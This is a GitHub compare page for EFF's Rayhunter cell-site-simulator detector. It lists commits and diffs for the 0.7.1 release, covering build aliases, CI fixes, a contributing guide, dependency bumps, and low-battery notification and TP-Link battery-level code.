Compare commits

...

43 Commits

Author SHA1 Message Date
Cooper Quintin d413a76b30 bump version 0.7.1 2025-10-08 13:13:50 -07:00
Markus Unterwaditzer fc532682df fix some type inference issues by installing @types/node
ProxyServer (first arg in vite.config.ts configure) inherits from
EventEmitter which has no type definition, so on() is not defined.
2025-10-08 10:51:51 -07:00
dependabot[bot] 8569a88f86 Bump esbuild, @sveltejs/vite-plugin-svelte, vite and vitest
Bumps [esbuild](https://github.com/evanw/esbuild) to 0.25.10 and updates ancestor dependencies [esbuild](https://github.com/evanw/esbuild), [@sveltejs/vite-plugin-svelte](https://github.com/sveltejs/vite-plugin-svelte/tree/HEAD/packages/vite-plugin-svelte), [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) and [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest). These dependencies need to be updated together.


Updates `esbuild` from 0.21.5 to 0.25.10
- [Release notes](https://github.com/evanw/esbuild/releases)
- [Changelog](https://github.com/evanw/esbuild/blob/main/CHANGELOG-2024.md)
- [Commits](https://github.com/evanw/esbuild/compare/v0.21.5...v0.25.10)

Updates `@sveltejs/vite-plugin-svelte` from 4.0.4 to 6.2.1
- [Release notes](https://github.com/sveltejs/vite-plugin-svelte/releases)
- [Changelog](https://github.com/sveltejs/vite-plugin-svelte/blob/main/packages/vite-plugin-svelte/CHANGELOG.md)
- [Commits](https://github.com/sveltejs/vite-plugin-svelte/commits/@sveltejs/vite-plugin-svelte@6.2.1/packages/vite-plugin-svelte)

Updates `vite` from 5.4.20 to 7.1.9
- [Release notes](https://github.com/vitejs/vite/releases)
- [Changelog](https://github.com/vitejs/vite/blob/main/packages/vite/CHANGELOG.md)
- [Commits](https://github.com/vitejs/vite/commits/v7.1.9/packages/vite)

Updates `vitest` from 2.1.9 to 3.2.4
- [Release notes](https://github.com/vitest-dev/vitest/releases)
- [Commits](https://github.com/vitest-dev/vitest/commits/v3.2.4/packages/vitest)

---
updated-dependencies:
- dependency-name: esbuild
  dependency-version: 0.25.10
  dependency-type: indirect
- dependency-name: "@sveltejs/vite-plugin-svelte"
  dependency-version: 6.2.1
  dependency-type: direct:development
- dependency-name: vite
  dependency-version: 7.1.9
  dependency-type: direct:development
- dependency-name: vitest
  dependency-version: 3.2.4
  dependency-type: direct:development
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-08 10:51:51 -07:00
Cooper Quintin e60035f744 use port 24 2025-10-08 10:46:41 -07:00
Markus Unterwaditzer 1a80a0576c Add --admin-password to orbic-network installer, update docs
Also add some more debug-logging to telnet_send_file since it appears
to be janky on my device.

see #599
2025-10-08 10:46:41 -07:00
Markus Unterwaditzer fa5c2bf5d1 Fix installation from source again
Fix https://github.com/EFForg/rayhunter/issues/630

A better fix would be to automatically infer the right path based on
what's available. Maybe based on cfg!(debug_assertions)? idk too fancy.
2025-10-08 09:25:17 -07:00
Markus Unterwaditzer ce8cbb743f Add TP-Link M7350 bands 2025-10-07 16:59:59 -07:00
Markus Unterwaditzer 13c1602f76 Check in package-lock.json
It seems we never checked in our package-lock.json, which means there's
no effective checksum verification or version pinning going on.
2025-10-07 16:59:08 -07:00
Markus Unterwaditzer e2cde3be90 Update CONTRIBUTING.md
Co-authored-by: Cooper Quintin <cooperq@users.noreply.github.com>
2025-10-06 10:40:54 -07:00
Markus Unterwaditzer 8ed3459349 Add CONTRIBUTING.md 2025-10-06 10:40:54 -07:00
Evan Anderson 5ccdcc8685 tplink: Implement battery level support 2025-10-01 10:10:46 -07:00
Markus Unterwaditzer dac838eea9 Improve log message 2025-10-01 09:57:02 -07:00
Markus Unterwaditzer 9d33c161b6 Replace wrong make.sh command 2025-10-01 09:57:02 -07:00
Markus Unterwaditzer f6ff61f26b CI: Fix missing components in rust setup 2025-10-01 09:57:02 -07:00
Markus Unterwaditzer 9f57edd385 Fix support for M7350 v6 2025-10-01 09:57:02 -07:00
Cooper Quintin 69260d21ac bump version to 0.7.0 2025-09-24 11:17:39 -07:00
Cooper Quintin f65e5708fc downgarde incomplete sib heuristic to informational 2025-09-24 11:07:48 -07:00
Brad Warren 6eba455e42 suggest using different usb to troubleshoot 2025-09-24 10:52:13 -07:00
Markus Unterwaditzer dd0b8050b8 Clarify documentation around TLS backends 2025-09-23 10:05:05 -07:00
Markus Unterwaditzer 6009123649 try to simplify workflows 2025-09-23 10:05:05 -07:00
Markus Unterwaditzer 549d3a6a8f Avoid rustcrypto backend for release builds 2025-09-23 10:05:05 -07:00
Markus Unterwaditzer 3dc807fc63 Do not print instructions for admin UI when telnet is already running 2025-09-22 12:33:38 -07:00
Markus Unterwaditzer 95fe938eeb Refactor and comment JS code 2025-09-22 12:33:38 -07:00
Markus Unterwaditzer 3ada0fa259 fix CI: Daemon should build if installer changed 2025-09-22 12:33:38 -07:00
Markus Unterwaditzer 48a4b43a39 Attempt to fix TP-Link race condition 2025-09-22 12:33:38 -07:00
Simon Fondrie-Teitler f3c34ce0d3 Fix issue where low battery alert is fired on reboot when batter is 10% 2025-09-22 12:31:57 -07:00
Simon Fondrie-Teitler 1b5575e5a6 Update ConfigForm.svelte
Signed-off-by: Simon Fondrie-Teitler <simonft@riseup.net>
2025-09-22 12:31:57 -07:00
Evan Anderson 1cf6f5d339 installer: Fix installation in skip-sdcard case (#604) 2025-09-19 18:40:18 +02:00
Simon Fondrie-Teitler b00f17d8fc Use a cancellation token for restart logic as well (#602) 2025-09-18 10:00:07 +02:00
Simon Fondrie-Teitler 766f3461d3 Simplify shutdown with cancellation tokens (#601) 2025-09-18 00:33:44 +02:00
Simon Fondrie-Teitler d30dd6fd9d Don't show scroll bars with no overflow 2025-09-17 11:38:53 -07:00
bsickler 10e76e351e Maintenance: Removes unused PNG (#598) 2025-09-14 00:09:46 +02:00
Burton Sickler 301d130cdd adds filter to incoming events 2025-09-12 11:34:28 +02:00
Hu8r1z 7a602b577d Update AnalysisTable.svelte
corrected ususally to usually
2025-09-12 11:24:19 +02:00
Tom Plant f52c673b25 Fix several typos in docs
Ran `typos doc --write-changes` from https://github.com/crate-ci/typos and reviewed
2025-09-10 10:44:53 +02:00
Matthew Callis e6b9624a34 Fix typo in heuristics.md phoen ➜ phone
Fix typo in `doc/heuristics.md` `phoen` ➜ `phone`
2025-09-09 20:08:11 +02:00
Cooper Quintin 15c0ba3805 cargo fmt 2025-09-05 13:22:42 -07:00
Cooper Quintin de4a622c68 decode with correct byte order. Fixes #562 2025-09-05 13:22:42 -07:00
Cooper Quintin a582715177 handle 2 digit MNC. Fixes #580 2025-09-05 13:22:42 -07:00
Markus Unterwaditzer e68ba6ba52 Always run all builds with -p
Running without -p can confuse cargo to enable the wrong set of
featureflags.

Fix #581
2025-09-03 00:19:17 +02:00
Brad Warren e216043a14 make analyze_information_element private 2025-09-02 15:18:33 -07:00
Brad Warren e2bc3a0a67 append packet num in harness & fix packet count 2025-09-02 15:18:33 -07:00
Brad Warren 87d6d1691a track packet num in analysis harness 2025-09-02 15:18:33 -07:00
64 changed files with 6072 additions and 475 deletions
+8
View File
@@ -1,3 +1,11 @@
[alias]
# Build the daemon with "firmware" profile and "ring" TLS backend.
# Requires a cross-compiler (see github actions workflows) and is very slow to build.
build-daemon-firmware = "build -p rayhunter-daemon --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --profile firmware --no-default-features --features ring-tls"
# Build the daemon with "firmware-devel" profile and "rustcrypto" backend.
# Works with just the Rust toolchain, and is medium-slow to build. Binaries are slightly larger.
build-daemon-firmware-devel = "build -p rayhunter-daemon --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --profile firmware-devel"
[target.aarch64-apple-darwin] [target.aarch64-apple-darwin]
linker = "rust-lld" linker = "rust-lld"
rustflags = ["-C", "target-feature=+crt-static"] rustflags = ["-C", "target-feature=+crt-static"]
+1
View File
@@ -4,3 +4,4 @@
- [ ] Added or updated any documentation as needed to support the changes in this PR. - [ ] Added or updated any documentation as needed to support the changes in this PR.
- [ ] Code has been linted and run through `cargo fmt` - [ ] Code has been linted and run through `cargo fmt`
- [ ] If any new functionality has been added, unit tests were also added - [ ] If any new functionality has been added, unit tests were also added
- [ ] [./CONTRIBUTING.md](../CONTRIBUTING.md) has been read
+10 -3
View File
@@ -105,6 +105,8 @@ jobs:
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v4
- uses: dtolnay/rust-toolchain@stable - uses: dtolnay/rust-toolchain@stable
with:
components: rustfmt, clippy
- uses: Swatinem/rust-cache@v2 - uses: Swatinem/rust-cache@v2
- name: Check formatting - name: Check formatting
run: cargo fmt --all --check run: cargo fmt --all --check
@@ -217,7 +219,7 @@ jobs:
targets: armv7-unknown-linux-musleabihf targets: armv7-unknown-linux-musleabihf
- uses: Swatinem/rust-cache@v2 - uses: Swatinem/rust-cache@v2
- name: Build rootshell (armv7) - name: Build rootshell (armv7)
run: cargo build --bin rootshell --target armv7-unknown-linux-musleabihf --profile=firmware run: cargo build -p rootshell --bin rootshell --target armv7-unknown-linux-musleabihf --profile=firmware
- uses: actions/upload-artifact@v4 - uses: actions/upload-artifact@v4
with: with:
name: rootshell name: rootshell
@@ -225,7 +227,10 @@ jobs:
if-no-files-found: error if-no-files-found: error
build_rayhunter: build_rayhunter:
if: needs.files_changed.outputs.daemon_changed != '0' # build_rust_installer needs this step. so when installer_changed, we need
# to build this step too. if we skip this step because only the installer
# changed, the build_rust_installer step will be skipped too.
if: needs.files_changed.outputs.daemon_changed != '0' || needs.files_changed.outputs.installer_changed != '0'
needs: needs:
- check_and_test - check_and_test
- files_changed - files_changed
@@ -239,6 +244,8 @@ jobs:
with: with:
targets: armv7-unknown-linux-musleabihf targets: armv7-unknown-linux-musleabihf
- uses: Swatinem/rust-cache@v2 - uses: Swatinem/rust-cache@v2
- name: Install ARM cross-compilation toolchain
run: sudo apt-get update && sudo apt-get install -y gcc-arm-linux-gnueabihf
- name: Build rayhunter-daemon (armv7) - name: Build rayhunter-daemon (armv7)
run: | run: |
pushd daemon/web pushd daemon/web
@@ -253,7 +260,7 @@ jobs:
# what the feature selection in rayhunter-daemon is. # what the feature selection in rayhunter-daemon is.
# #
# https://github.com/rust-lang/cargo/issues/4463 # https://github.com/rust-lang/cargo/issues/4463
cargo build -p rayhunter-daemon --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --profile=firmware CC_armv7_unknown_linux_musleabihf=arm-linux-gnueabihf-gcc cargo build-daemon-firmware
- uses: actions/upload-artifact@v4 - uses: actions/upload-artifact@v4
with: with:
name: rayhunter-daemon name: rayhunter-daemon
+75
View File
@@ -0,0 +1,75 @@
# How to contribute to Rayhunter
## Filing issues and starting discussions
Our issue tracker is [on GitHub](https://github.com/EFForg/rayhunter/issues).
- If your rayhunter has found an IMSI-catcher, we strongly encourage you to
[send us that information
privately.](https://efforg.github.io/rayhunter/faq.html#help-rayhunters-line-is-redorangeyellowdotteddashed-what-should-i-do) via Signal.
- Issues should be actionable. If you don't have a
specific feature request or bug report, consider [creating a
discussion](https://github.com/EFForg/rayhunter/discussions) instead.
Example of a good bug report:
- "Installer broken on TP-Link M7350 v3.0"
- "Display does not update to green after finding"
- "The documentation is wrong" (though we encourage you to file a pull request directly)
Example of a good feature request:
- "Use LED on device XYZ for showing recording status"
Example of something that belongs into discussion:
- "In region XYZ, do I need an activated SIM?"
- "Where to buy this device in region XYZ?"
- "Can this device be supported?" While this is a valid feature
request, we just get this request too often, and without some exploratory
work done upfront it's often unclear initially if that device can be
supported at all.
- The issue templates are mostly there to give you a clue what kind of
information is needed from you, and whether your request belongs into the issue
tracker. Fill them out to be on the safe side, but they are not mandatory.
## Contributing patches
To edit documentation or fix a bug, make a pull request. If you're about to
write a substantial amount of code or implement a new feature, we strongly
encourage you to talk to us before implementing it or check if any issues have
been opened for it already. Otherwise there is a chance we will reject your
contribution after you have spent time on it.
On the other hand, for small documentation fixes you can file a PR without
filing an issue.
Otherwise:
- Refer to [installing from
source](https://efforg.github.io/rayhunter/installing-from-source.html) for
how to build Rayhunter from the git repository.
- Ensure that `cargo fmt` and `cargo clippy` have been run.
- If you add new features, please do your best to both write tests for and also
manually test them. Our test coverage isn't great, but as new features are
added we are trying to prevent it from becoming worse.
If you have any questions [feel free to open a discussion or chat with us on Mattermost.](https://efforg.github.io/rayhunter/support-feedback-community.html)
## Making releases
This one is for maintainers of Rayhunter.
1. Make a PR changing the versions in `Cargo.toml` and other files.
This could be automated better but right now it's manual. You can do this easily with sed:
`sed -i "" -E 's/x.x.x/y.y.y/g' */Cargo.toml`
2. Merge PR and make a tag.
3. [Run release workflow.](https://github.com/EFForg/rayhunter/actions/workflows/release.yml)
4. Write changelog, edit it into the release, announce on mattermost.
Generated
+109 -10
View File
@@ -962,9 +962,9 @@ dependencies = [
[[package]] [[package]]
name = "ed25519-dalek" name = "ed25519-dalek"
version = "2.1.1" version = "2.2.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "4a3daa8e81a3963a60642bcc1f90a670680bd4a77535faa384e9d1c79d620871" checksum = "70e796c081cee67dc755e1a36a0a172b897fab85fc3f6bc48307991f64e4eca9"
dependencies = [ dependencies = [
"curve25519-dalek", "curve25519-dalek",
"ed25519", "ed25519",
@@ -1267,8 +1267,10 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "335ff9f135e4384c8150d6f27c6daed433577f86b4750418338c01a1a2528592" checksum = "335ff9f135e4384c8150d6f27c6daed433577f86b4750418338c01a1a2528592"
dependencies = [ dependencies = [
"cfg-if", "cfg-if",
"js-sys",
"libc", "libc",
"wasi 0.11.0+wasi-snapshot-preview1", "wasi 0.11.0+wasi-snapshot-preview1",
"wasm-bindgen",
] ]
[[package]] [[package]]
@@ -1278,9 +1280,11 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "26145e563e54f2cadc477553f1ec5ee650b00862f0a58bcd12cbdc5f0ea2d2f4" checksum = "26145e563e54f2cadc477553f1ec5ee650b00862f0a58bcd12cbdc5f0ea2d2f4"
dependencies = [ dependencies = [
"cfg-if", "cfg-if",
"js-sys",
"libc", "libc",
"r-efi", "r-efi",
"wasi 0.14.2+wasi-0.2.4", "wasi 0.14.2+wasi-0.2.4",
"wasm-bindgen",
] ]
[[package]] [[package]]
@@ -1729,7 +1733,7 @@ dependencies = [
[[package]] [[package]]
name = "installer" name = "installer"
version = "0.6.1" version = "0.7.1"
dependencies = [ dependencies = [
"adb_client", "adb_client",
"aes", "aes",
@@ -1964,6 +1968,12 @@ dependencies = [
"imgref", "imgref",
] ]
[[package]]
name = "lru-slab"
version = "0.1.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "112b39cec0b298b6c1999fee3e31427f74f676e4cb9879ed1a121b43661a4154"
[[package]] [[package]]
name = "mach2" name = "mach2"
version = "0.4.2" version = "0.4.2"
@@ -2575,6 +2585,61 @@ version = "2.0.1"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a993555f31e5a609f617c12db6250dedcac1b0a85076912c436e6fc9b2c8e6a3" checksum = "a993555f31e5a609f617c12db6250dedcac1b0a85076912c436e6fc9b2c8e6a3"
[[package]]
name = "quinn"
version = "0.11.8"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "626214629cda6781b6dc1d316ba307189c85ba657213ce642d9c77670f8202c8"
dependencies = [
"bytes",
"cfg_aliases",
"pin-project-lite",
"quinn-proto",
"quinn-udp",
"rustc-hash",
"rustls",
"socket2",
"thiserror 2.0.12",
"tokio",
"tracing",
"web-time",
]
[[package]]
name = "quinn-proto"
version = "0.11.12"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "49df843a9161c85bb8aae55f101bc0bac8bcafd637a620d9122fd7e0b2f7422e"
dependencies = [
"bytes",
"getrandom 0.3.3",
"lru-slab",
"rand 0.9.1",
"ring",
"rustc-hash",
"rustls",
"rustls-pki-types",
"slab",
"thiserror 2.0.12",
"tinyvec",
"tracing",
"web-time",
]
[[package]]
name = "quinn-udp"
version = "0.5.13"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "fcebb1209ee276352ef14ff8732e24cc2b02bbac986cd74a4c81bcb2f9881970"
dependencies = [
"cfg_aliases",
"libc",
"once_cell",
"socket2",
"tracing",
"windows-sys 0.59.0",
]
[[package]] [[package]]
name = "quote" name = "quote"
version = "1.0.40" version = "1.0.40"
@@ -2707,7 +2772,7 @@ dependencies = [
[[package]] [[package]]
name = "rayhunter" name = "rayhunter"
version = "0.6.1" version = "0.7.1"
dependencies = [ dependencies = [
"bytes", "bytes",
"chrono", "chrono",
@@ -2729,7 +2794,7 @@ dependencies = [
[[package]] [[package]]
name = "rayhunter-check" name = "rayhunter-check"
version = "0.6.1" version = "0.7.1"
dependencies = [ dependencies = [
"clap", "clap",
"futures", "futures",
@@ -2743,7 +2808,7 @@ dependencies = [
[[package]] [[package]]
name = "rayhunter-daemon" name = "rayhunter-daemon"
version = "0.6.1" version = "0.7.1"
dependencies = [ dependencies = [
"anyhow", "anyhow",
"async-trait", "async-trait",
@@ -2838,6 +2903,7 @@ dependencies = [
"log", "log",
"percent-encoding", "percent-encoding",
"pin-project-lite", "pin-project-lite",
"quinn",
"rustls", "rustls",
"rustls-pki-types", "rustls-pki-types",
"serde", "serde",
@@ -2888,7 +2954,7 @@ dependencies = [
[[package]] [[package]]
name = "rootshell" name = "rootshell"
version = "0.6.1" version = "0.7.1"
dependencies = [ dependencies = [
"nix", "nix",
] ]
@@ -2930,6 +2996,12 @@ version = "0.1.24"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "719b953e2095829ee67db738b3bfa9fa368c94900df327b3f07fe6e794d2fe1f" checksum = "719b953e2095829ee67db738b3bfa9fa368c94900df327b3f07fe6e794d2fe1f"
[[package]]
name = "rustc-hash"
version = "2.1.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "357703d41365b4b27c590e3ed91eabb1b663f07c4c084095e60cbed4362dff0d"
[[package]] [[package]]
name = "rustc_version" name = "rustc_version"
version = "0.4.1" version = "0.4.1"
@@ -2972,6 +3044,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7160e3e10bf4535308537f3c4e1641468cd0e485175d6163087c0393c7d46643" checksum = "7160e3e10bf4535308537f3c4e1641468cd0e485175d6163087c0393c7d46643"
dependencies = [ dependencies = [
"once_cell", "once_cell",
"ring",
"rustls-pki-types", "rustls-pki-types",
"rustls-webpki 0.103.3", "rustls-webpki 0.103.3",
"subtle", "subtle",
@@ -2984,6 +3057,7 @@ version = "1.12.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "229a4a4c221013e7e1f1a043678c5cc39fe5171437c88fb47151a21e6f5b5c79" checksum = "229a4a4c221013e7e1f1a043678c5cc39fe5171437c88fb47151a21e6f5b5c79"
dependencies = [ dependencies = [
"web-time",
"zeroize", "zeroize",
] ]
@@ -3082,9 +3156,9 @@ dependencies = [
[[package]] [[package]]
name = "semver" name = "semver"
version = "1.0.26" version = "1.0.27"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "56e6fa9c48d24d85fb3de5ad847117517440f6beceb7798af16b4a87d616b8d0" checksum = "d767eb0aabc880b29956c35734170f26ed551a859dbd361d140cdbeca61ab1e2"
[[package]] [[package]]
name = "serde" name = "serde"
@@ -3365,7 +3439,7 @@ checksum = "61c41af27dd6d1e27b1b16b489db798443478cef1f06a660c96db617ba5de3b1"
[[package]] [[package]]
name = "telcom-parser" name = "telcom-parser"
version = "0.6.1" version = "0.7.1"
dependencies = [ dependencies = [
"asn1-codecs", "asn1-codecs",
"asn1-compiler", "asn1-compiler",
@@ -3492,6 +3566,21 @@ dependencies = [
"zerovec", "zerovec",
] ]
[[package]]
name = "tinyvec"
version = "1.10.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "bfa5fdc3bce6191a1dbc8c02d5c8bffcf557bafa17c124c5264a458f1b0613fa"
dependencies = [
"tinyvec_macros",
]
[[package]]
name = "tinyvec_macros"
version = "0.1.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20"
[[package]] [[package]]
name = "tokio" name = "tokio"
version = "1.45.0" version = "1.45.0"
@@ -3889,6 +3978,16 @@ dependencies = [
"wasm-bindgen", "wasm-bindgen",
] ]
[[package]]
name = "web-time"
version = "1.1.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5a6580f308b1fad9207618087a65c04e7a10bc77e02c8e84e9b00dd4b12fa0bb"
dependencies = [
"js-sys",
"wasm-bindgen",
]
[[package]] [[package]]
name = "webpki-roots" name = "webpki-roots"
version = "1.0.0" version = "1.0.0"
+1 -1
View File
@@ -1,6 +1,6 @@
[package] [package]
name = "rayhunter-check" name = "rayhunter-check"
version = "0.6.1" version = "0.7.1"
edition = "2024" edition = "2024"
[dependencies] [dependencies]
+8 -5
View File
@@ -1,9 +1,14 @@
[package] [package]
name = "rayhunter-daemon" name = "rayhunter-daemon"
version = "0.6.1" version = "0.7.1"
edition = "2024" edition = "2024"
rust-version = "1.88.0" rust-version = "1.88.0"
[features]
default = ["rustcrypto-tls"]
rustcrypto-tls = ["reqwest/rustls-tls-webpki-roots-no-provider", "dep:rustls-rustcrypto"]
ring-tls = ["reqwest/rustls-tls-webpki-roots"]
[dependencies] [dependencies]
rayhunter = { path = "../lib" } rayhunter = { path = "../lib" }
toml = "0.8.8" toml = "0.8.8"
@@ -25,8 +30,6 @@ image = { version = "0.25.1", default-features = false, features = ["png", "gif
tempfile = "3.10.1" tempfile = "3.10.1"
async_zip = { version = "0.0.17", features = ["tokio"] } async_zip = { version = "0.0.17", features = ["tokio"] }
anyhow = "1.0.98" anyhow = "1.0.98"
reqwest = { version = "0.12.20", default-features = false, features = [ reqwest = { version = "0.12.20", default-features = false }
"rustls-tls-webpki-roots-no-provider", rustls-rustcrypto = { version = "0.0.2-alpha", optional = true }
] }
rustls-rustcrypto = "0.0.2-alpha"
async-trait = "0.1.88" async-trait = "0.1.88"
+68 -2
View File
@@ -1,14 +1,23 @@
use std::path::Path; use std::{path::Path, time::Duration};
use log::{error, info};
use rayhunter::Device; use rayhunter::Device;
use serde::Serialize; use serde::Serialize;
use tokio::select;
use tokio_util::{sync::CancellationToken, task::TaskTracker};
use crate::error::RayhunterError; use crate::{
error::RayhunterError,
notifications::{Notification, NotificationType},
};
pub mod orbic; pub mod orbic;
pub mod tmobile; pub mod tmobile;
pub mod tplink;
pub mod wingtech; pub mod wingtech;
const LOW_BATTERY_LEVEL: u8 = 10;
#[derive(Clone, Copy, PartialEq, Debug, Serialize)] #[derive(Clone, Copy, PartialEq, Debug, Serialize)]
pub struct BatteryState { pub struct BatteryState {
level: u8, level: u8,
@@ -42,6 +51,63 @@ pub async fn get_battery_status(device: &Device) -> Result<BatteryState, Rayhunt
Device::Orbic => orbic::get_battery_state().await?, Device::Orbic => orbic::get_battery_state().await?,
Device::Wingtech => wingtech::get_battery_state().await?, Device::Wingtech => wingtech::get_battery_state().await?,
Device::Tmobile => tmobile::get_battery_state().await?, Device::Tmobile => tmobile::get_battery_state().await?,
Device::Tplink => tplink::get_battery_state().await?,
_ => return Err(RayhunterError::FunctionNotSupportedForDeviceError), _ => return Err(RayhunterError::FunctionNotSupportedForDeviceError),
}) })
} }
pub fn run_battery_notification_worker(
task_tracker: &TaskTracker,
device: Device,
notification_channel: tokio::sync::mpsc::Sender<Notification>,
shutdown_token: CancellationToken,
) {
task_tracker.spawn(async move {
// Don't send a notification initially if the device starts at a low battery level.
let mut triggered = match get_battery_status(&device).await {
Err(RayhunterError::FunctionNotSupportedForDeviceError) => {
info!("Battery level function not supported for device");
false
}
Err(e) => {
error!("Failed to get battery status: {e}");
true
}
Ok(status) => status.level <= LOW_BATTERY_LEVEL,
};
loop {
select! {
_ = shutdown_token.cancelled() => break,
_ = tokio::time::sleep(Duration::from_secs(15)) => {}
}
let status = match get_battery_status(&device).await {
Err(e) => {
error!("Failed to get battery status: {e}");
continue;
}
Ok(status) => status,
};
// To avoid flapping, if the notification has already been triggered
// wait until the device has been plugged in and the battery level
// is high enough to re-enable notifications.
if triggered && status.is_plugged_in && status.level > LOW_BATTERY_LEVEL {
triggered = false;
continue;
}
if !triggered && !status.is_plugged_in && status.level <= LOW_BATTERY_LEVEL {
notification_channel
.send(Notification::new(
NotificationType::LowBattery,
"Rayhunter's battery is low".to_string(),
None,
))
.await
.expect("Failed to send to notification channel");
triggered = true;
}
}
});
}
+39
View File
@@ -0,0 +1,39 @@
use crate::{battery::BatteryState, error::RayhunterError};
pub async fn get_battery_state() -> Result<BatteryState, RayhunterError> {
let uci_battery = tokio::process::Command::new("uci")
.arg("get")
.arg("battery.battery_mgr.power_level")
.output()
.await?;
let uci_plugged_in = tokio::process::Command::new("uci")
.arg("get")
.arg("battery.battery_mgr.is_charging")
.output()
.await?;
if !uci_battery.status.success() {
return Err(RayhunterError::BatteryLevelParseError);
}
if !uci_plugged_in.status.success() {
return Err(RayhunterError::BatteryPluggedInStatusParseError);
}
let uci_battery = String::from_utf8_lossy(&uci_battery.stdout)
.trim_end()
.parse()
.map_err(|_| RayhunterError::BatteryLevelParseError)?;
let uci_plugged_in = match String::from_utf8_lossy(&uci_plugged_in.stdout).trim_end() {
"0" => Ok(false),
"1" => Ok(true),
_ => Err(RayhunterError::BatteryPluggedInStatusParseError),
}?;
Ok(BatteryState {
level: uci_battery,
is_plugged_in: uci_plugged_in,
})
}
+3
View File
@@ -5,6 +5,7 @@ use rayhunter::Device;
use rayhunter::analysis::analyzer::AnalyzerConfig; use rayhunter::analysis::analyzer::AnalyzerConfig;
use crate::error::RayhunterError; use crate::error::RayhunterError;
use crate::notifications::NotificationType;
#[derive(Debug, Clone, Deserialize, Serialize)] #[derive(Debug, Clone, Deserialize, Serialize)]
#[serde(default)] #[serde(default)]
@@ -17,6 +18,7 @@ pub struct Config {
pub colorblind_mode: bool, pub colorblind_mode: bool,
pub key_input_mode: u8, pub key_input_mode: u8,
pub ntfy_url: Option<String>, pub ntfy_url: Option<String>,
pub enabled_notifications: Vec<NotificationType>,
pub analyzers: AnalyzerConfig, pub analyzers: AnalyzerConfig,
} }
@@ -32,6 +34,7 @@ impl Default for Config {
key_input_mode: 0, key_input_mode: 0,
analyzers: AnalyzerConfig::default(), analyzers: AnalyzerConfig::default(),
ntfy_url: None, ntfy_url: None,
enabled_notifications: vec![NotificationType::Warning, NotificationType::LowBattery],
} }
} }
} }
+2 -2
View File
@@ -24,7 +24,7 @@ use rayhunter::qmdl::QmdlWriter;
use crate::analysis::{AnalysisCtrlMessage, AnalysisWriter}; use crate::analysis::{AnalysisCtrlMessage, AnalysisWriter};
use crate::display; use crate::display;
use crate::notifications::Notification; use crate::notifications::{Notification, NotificationType};
use crate::qmdl_store::{RecordingStore, RecordingStoreError}; use crate::qmdl_store::{RecordingStore, RecordingStoreError};
use crate::server::ServerState; use crate::server::ServerState;
@@ -207,7 +207,7 @@ impl DiagTask {
info!("a heuristic triggered on this run!"); info!("a heuristic triggered on this run!");
self.notification_channel self.notification_channel
.send(Notification::new( .send(Notification::new(
"heuristic-warning".to_string(), NotificationType::Warning,
format!("Rayhunter has detected a {:?} severity event", max_type), format!("Rayhunter has detected a {:?} severity event", max_type),
Some(Duration::from_secs(60 * 5)), Some(Duration::from_secs(60 * 5)),
)) ))
+5 -11
View File
@@ -9,9 +9,7 @@ use rayhunter::analysis::analyzer::EventType;
use log::{error, info}; use log::{error, info};
use tokio::sync::mpsc::Receiver; use tokio::sync::mpsc::Receiver;
use tokio::sync::oneshot; use tokio_util::{sync::CancellationToken, task::TaskTracker};
use tokio::sync::oneshot::error::TryRecvError;
use tokio_util::task::TaskTracker;
use include_dir::{Dir, include_dir}; use include_dir::{Dir, include_dir};
@@ -173,7 +171,7 @@ pub fn update_ui(
task_tracker: &TaskTracker, task_tracker: &TaskTracker,
config: &config::Config, config: &config::Config,
mut fb: impl GenericFramebuffer, mut fb: impl GenericFramebuffer,
mut ui_shutdown_rx: oneshot::Receiver<()>, shutdown_token: CancellationToken,
mut ui_update_rx: Receiver<DisplayState>, mut ui_update_rx: Receiver<DisplayState>,
) { ) {
static IMAGE_DIR: Dir<'_> = include_dir!("$CARGO_MANIFEST_DIR/images/"); static IMAGE_DIR: Dir<'_> = include_dir!("$CARGO_MANIFEST_DIR/images/");
@@ -204,13 +202,9 @@ pub fn update_ui(
); );
} }
loop { loop {
match ui_shutdown_rx.try_recv() { if shutdown_token.is_cancelled() {
Ok(_) => { info!("received UI shutdown");
info!("received UI shutdown"); break;
break;
}
Err(TryRecvError::Empty) => {}
Err(e) => panic!("error receiving shutdown message: {e}"),
} }
match ui_update_rx.try_recv() { match ui_update_rx.try_recv() {
Ok(state) => { Ok(state) => {
+2 -2
View File
@@ -1,6 +1,6 @@
use log::info; use log::info;
use tokio::sync::mpsc::Receiver; use tokio::sync::mpsc::Receiver;
use tokio::sync::oneshot; use tokio_util::sync::CancellationToken;
use tokio_util::task::TaskTracker; use tokio_util::task::TaskTracker;
use crate::config; use crate::config;
@@ -9,7 +9,7 @@ use crate::display::DisplayState;
pub fn update_ui( pub fn update_ui(
_task_tracker: &TaskTracker, _task_tracker: &TaskTracker,
_config: &config::Config, _config: &config::Config,
_ui_shutdown_rx: oneshot::Receiver<()>, _shutdown_token: CancellationToken,
_ui_update_rx: Receiver<DisplayState>, _ui_update_rx: Receiver<DisplayState>,
) { ) {
